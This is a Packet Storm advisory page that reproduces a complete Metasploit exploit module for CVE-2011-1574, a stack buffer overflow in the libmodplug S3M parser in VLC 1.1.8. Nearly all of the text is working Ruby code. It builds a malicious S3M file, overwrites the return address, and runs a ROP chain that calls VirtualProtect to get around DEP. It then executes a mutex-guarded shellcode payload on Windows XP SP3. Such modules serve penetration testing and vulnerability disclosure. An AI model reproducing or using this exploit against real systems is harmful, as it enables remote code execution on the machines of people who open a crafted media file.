VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow

2011-05-09T00:00:00
ID PACKETSTORM:101216
Type packetstorm
Reporter jduck
Modified 2011-05-09T00:00:00

Description

                                        
                                            `##  
# $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',  
'Description' => %q{  
This module exploits an input validation error in libmod_plugin as  
included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9  
are affected. By creating a malicious S3M file, a remote attacker  
could execute arbitrary code.  
  
Although other products that bundle libmodplug may be vulnerable, this  
module was only tested against VLC.  
  
NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to  
permanently enable NX support on machines that support it. As such,  
this module is capable of bypassing DEP, but not ASLR.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 12282 $',  
'References' =>  
[  
[ 'CVE', '2011-1574' ],  
[ 'OSVDB', '72143' ],  
#[ 'BID', 'xxx' ],  
[ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],  
[ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],  
[ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]  
],  
'Payload' =>  
{  
'Space' => 512 - 0x24, # Space reserved for prepended mutex code  
#'DisableNops' => true,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'VLC 1.1.8 on Windows XP SP3',  
{  
# vuln is in libmod_plugin.dll, rop is custom to this module  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09"  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.s3m']),  
], self.class)  
end  
  
def exploit  
  
num_orders = 0x14  
num_instru = 0x15  
num_patterns = 0x18  
  
hdr = "\x00" * 0x1c # song name (none)  
hdr << [  
0x1a, # static byte  
0x10, # ST3 module  
0x00, # padding  
num_orders,  
num_instru,  
num_patterns,  
0x00, # Flags  
0x1320, # Created with (which tracker)  
0x02, # File format information  
].pack('CCvvvvvvv')  
hdr << "SCRM"  
  
hdr << [  
0x40, # global volume  
0x06, # initial speed  
0x8a, # initial tempo  
0xb0, # master volume  
0x10, # ultra click removal  
0xfb # NOTE, non-0xfc value skips an additional loop!  
# 0xfc == default channel pan positions present  
].pack('CCCCCC')  
hdr << "\x00" * 10 # includes pad and special pointer  
  
# channel settings (for 32 channels)  
hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"  
hdr << "\xff" * 16  
  
# orders  
hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"  
hdr << "\x14\x16\x17\xff"  
  
# parapointers to instruments  
hdr << [ 0x0f ].pack('v') * num_instru  
  
# parapoitners to patterns  
hdr << [ 0x78 ].pack('v') * num_patterns  
  
# channel default pan positions  
hdr << "\x00" * 32  
  
# instruments  
instru = "\x01metasplo.ity"  
rest = "\x00" * ((0x50 * num_instru) - instru.length)  
  
# Build the rop stack  
rvas = rvas_libmod_plugin_xpsp3()  
rop = generate_rop(rvas)  
zero_ptr = rva2addr(rvas, 'Scratch') + 4  
mutex_addr = rva2addr(rvas, 'Scratch') + 8  
imp_Sleep = rva2addr(rvas, 'imp_Sleep')  
  
# A mutex to prevent double payloads  
locking_code = <<-EOS  
mov ebx, [ #{imp_Sleep} ]  
jmp test_lock  
  
sleep:  
push 0xdeadbeef  
call ebx  
  
test_lock:  
mov eax, [ #{mutex_addr} ]  
test eax,eax  
jnz sleep  
  
lock cmpxchg [ #{mutex_addr} ], ebp  
test eax,eax  
jnz sleep  
  
EOS  
rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string  
rop << payload.encoded  
  
# This becomes the new EIP (after return)  
ret = rva2addr(rvas, 'pop eax / ret')  
rest[1267, 4] = [ ret ].pack('V')  
  
# In order to force return, we smash the this ptr on the stack and point  
# it so that m_nChannels turns out to be 0.  
rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')  
  
# Add the ROP stack and final payload here  
rest[1275, rop.length] = rop  
instru << rest  
  
# patterns  
patt = [ 0x10 ].pack('v')  
patt << "\x00" * 0x10  
  
  
# finalize the file  
s3m = ""  
s3m << hdr  
  
instru_pad = (0x0f * 0x10) - hdr.length  
s3m << "\x80" * instru_pad  
s3m << instru  
  
  
# patch in exploit trigger values  
s3m[0x22, 2] = [ 0x220 ].pack('v')  
s3m[0x24, 2] = [ 0x220 ].pack('v')  
  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(s3m)  
  
end  
  
def rvas_libmod_plugin_xpsp3()  
# libmod_plugin.dll from VLC 1.1.8 (Win32)  
# Just return this hash  
{  
# Used as 'Ret' for target  
'ret' => 0x1022,  
'push eax / ret' => 0x1cc4d,  
'pop eax / ret' => 0x598a2,  
'mov eax, [eax+0x1c] / ret' => 0x542c9,  
'pop ebx / pop ebp / ret' => 0x25e2f,  
'add eax, 4 / pop ebp / ret' => 0x7028,  
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,  
'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,  
}  
end  
  
def generate_rop(rvas)  
# ROP fun! (XP SP3 English, Apr 10 2011)  
rvas.merge!({  
# Instructions / Name => RVA  
'BaseAddress' => 0x653c0000,  
'imp_VirtualProtect' => 0xec2f0 - 0x1c, # adjust for gadget used to resolve  
'imp_Sleep' => 0xec2dc,  
'Scratch' => 0x5fbfc,  
'Data' => 0x60101,  
#'DataAdjusted' => 0x60000 - 0x58 + 0x8,  
'DataAdjusted' => 0x60000 - 0x58,  
})  
  
copy_stage = <<-EOS  
nop  
push esp  
pop esi  
lea edi, [eax+0x10]  
push 0x7f  
pop ecx  
inc ecx  
rep movsd  
EOS  
copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string  
if (copy_stage.length % 4) > 0  
raise RuntimeError, "The copy stage is invalid"  
end  
  
rop_stack = [  
# Resolve VirtualProtect  
'pop eax / ret',  
'imp_VirtualProtect',  
'mov eax, [eax+0x1c] / ret',  
  
# Call VirtuaProtect  
'push eax / ret',  
'pop eax / ret', # after VirtualProtect  
# Args to VirtualProtect  
'Data', # lpAddress (place holder, filled in @ runtime above)  
0x1000, # dwSize  
0x40, # flNewProtect  
'Scratch', # lpflOldProtect  
  
# Load the pre-adjusted Data addr  
'DataAdjusted', # matches pop eax / ret above  
  
##  
# Write our code little stager to our newly executable memory.  
##  
  
# Load the last 32-bits of code to write  
'pop ebx / pop ebp / ret',  
copy_stage[0, 4].unpack('V').first,  
:unused, # ebp  
  
# Write & advance  
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',  
copy_stage[4, 4].unpack('V').first,  
:unused, # esi  
:unused, # edi  
:unused, # ebp  
'add eax, 4 / pop ebp / ret',  
:unused, # ebp  
  
# Write & advance  
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',  
copy_stage[8, 4].unpack('V').first,  
:unused, # esi  
:unused, # edi  
:unused, # ebp  
'add eax, 4 / pop ebp / ret',  
:unused, # ebp  
  
# Write & advance  
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',  
0xffffffb0, # adjustment value  
:unused, # esi  
:unused, # edi  
:unused, # ebp  
  
# Adjust eax  
'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',  
:unused, # ebx  
:unused, # edi  
:unused, # ebp  
  
# Execute the copy stage  
'push eax / ret',  
]  
  
rop_stack.map! { |e|  
if e.kind_of? String  
# Meta-replace (RVA)  
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]  
rvas['BaseAddress'] + rvas[e]  
  
elsif e == :unused  
# Randomize  
rand_text(4).unpack('V').first  
  
else  
# Literal  
e  
end  
}  
  
rop_stack.pack('V*')  
end  
  
def rva2addr(rvas, key)  
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]  
rvas['BaseAddress'] + rvas[key]  
end  
  
end  
`